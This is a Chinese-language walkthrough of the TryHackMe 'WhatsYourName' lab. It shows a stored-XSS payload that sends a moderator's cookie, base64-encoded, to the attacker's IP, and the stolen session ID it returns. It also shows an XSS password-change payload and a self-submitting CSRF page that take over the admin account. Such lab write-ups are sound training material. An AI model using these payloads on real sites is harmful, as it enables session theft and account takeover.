TryhackMe WhatsYourName:题解

发布于:2025-04-13 ⋅ 阅读:(21) ⋅ 点赞:(0)

TryhackMe WhatsYourName:题解


image-20250409140046991

房间介绍

该挑战将测试客户端漏洞利用技能,从检查 Javascript 到作 cookie 再到发起 CSRF/XSS 攻击。要启动 VM,请单击任务右上角的 Start Machine 按钮。

您将在 AttackBox 上找到完成挑战所需的所有工具,例如 Nmap、PHP shell 等等。另外,请在文件中添加主机名。worldwap.thm``hosts

切勿点击从未知来源收到的链接。您能否捕获标志并获得对 Web 应用程序的管理员访问权限?

前期准备

将获得的IP放入hosts文件中

image-20250409140354378

信息收集阶段

端口扫描

扫描到22端口,80端口,8081端口开放

image-20250409141302343

子域名爆破

趁着子域名爆破的时间去查看一下那个页面更好作为我们渗透的起点

image-20250409141633295

通过对子域名的爆破发现没有子域名,但是我们发现8081端口的网站是可以访问的但是是一片空白,这里小T想到的就是目录探测

worldwap.thm:8081目录探测

image-20250409142947495

渗透开始

worldwap.thm注册页面XSS

由于小T注册完成去登录的时候给我弹窗用户未确认,然后小T再去注册的时候发现上面写了,您现在可以预先注册!网站版主将审核您的详细信息。我就知道要打xss,时间上是上面的房间介绍说了

<script>fetch('http://你的IP/?'+btoa(document.cookie));</script>

image-20250409145713595

后台要监听端口看看是不是可以被执行,这边我就监听了自己的IP,应该是小T设置的原因,所有监听0.0.0.0监听不到,给小T差点气死,如果使用0.0.0.0监听不到可以尝试使用自己的vpn的ip

image-20250409150118793

点击注册,等一下这边就会给你返回版主的cookie值,然后我们就换上版主的cookie进行登录,

image-20250409151116821

这里要对拿到的东西进行base64反编译得到我们的PHPSESSID=ppob0qfvu0t5c32702ckdj424v
当然每个人是不同的

image-20250409151237091

到这里小T才反应过来,8081端口对应就是子域名login.worldwap.thm,拿到的cookie可以在网站login.worldwap.thm上使用

image-20250409151546915

这里点击go to chat,我们发现管理员机器人在线,这样的话我们能不能盗取admin bot的cookie呢,用了几个playload发现不行,因为小T xss不怎么好

image-20250409151717487

这里还有一个修改密码,发现谁执行就可以修改谁的密码,抓包将分析发现是通过new_password来传输新密码,这里我们直接拟好playload发给admin Bot就可以执行代码将密码改成Tiamo124

<script>fetch('/change_password.php',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:"new_password=Tiamo124"});</script>

image-20250409153154536

登录Admin用户

登录到admin用户就可以看到flag了,但是小T看来了一下https://jaxafed.github.io/博客的文章发现还可以有另一种csrf(客户端请求伪造方法)

image-20250409153546124

CSRF(客户端请求伪造)获得Admin权限

客户端请求伪造

  1. 在CSRF攻击中,攻击者诱使用户的浏览器发起一个恶意请求,本质上是借助用户的凭证,以用户的身份去执行特定的操作。
  2. 在用户访问攻击者构造的恶意页面时,如果此时浏览器访问第三方站点带上了第三方的Cookie,那么第三方站点会认为这是一个已登录的用户的访问请求,浏览器就可顺利完成请求操作,因此该攻击方式叫做“跨站请求伪造”。
  3. 在整个攻击过程中,攻击者并没有拿到受害者的身份凭证,也拿不到操作后的返回结果(同源策略),攻击者只是诱使受害者发出了一个特定的请求。

因为对面的Adminbot会点击我们的链接,所以我们这边直接伪造一个页面让他访问更改他的密码,让我们登录

<!DOCTYPE html>
<html>
<head>
	<title>CSRF</title>
</head>
<body>
<!-- 创建一个自动提交的表单 -->
<form id="autosubmit" action="http://login.worldwap.thm/change_password.php" enctype="application/x-www-form-urlencoded" method="POST">
 <!-- 隐藏的输入字段,用于设置新密码 -->
 <input name="new_password" type="hidden" value="Tiamo" />
</form>
<script>
 // 页面加载完成后自动提交表单
 document.getElementById("autosubmit").submit();
</script>
</body>
</html>

记得在本地开启http服务

在这里插入图片描述

这里发过去等几秒就可以去登录了账号admin :Tiamo

image-20250409154747448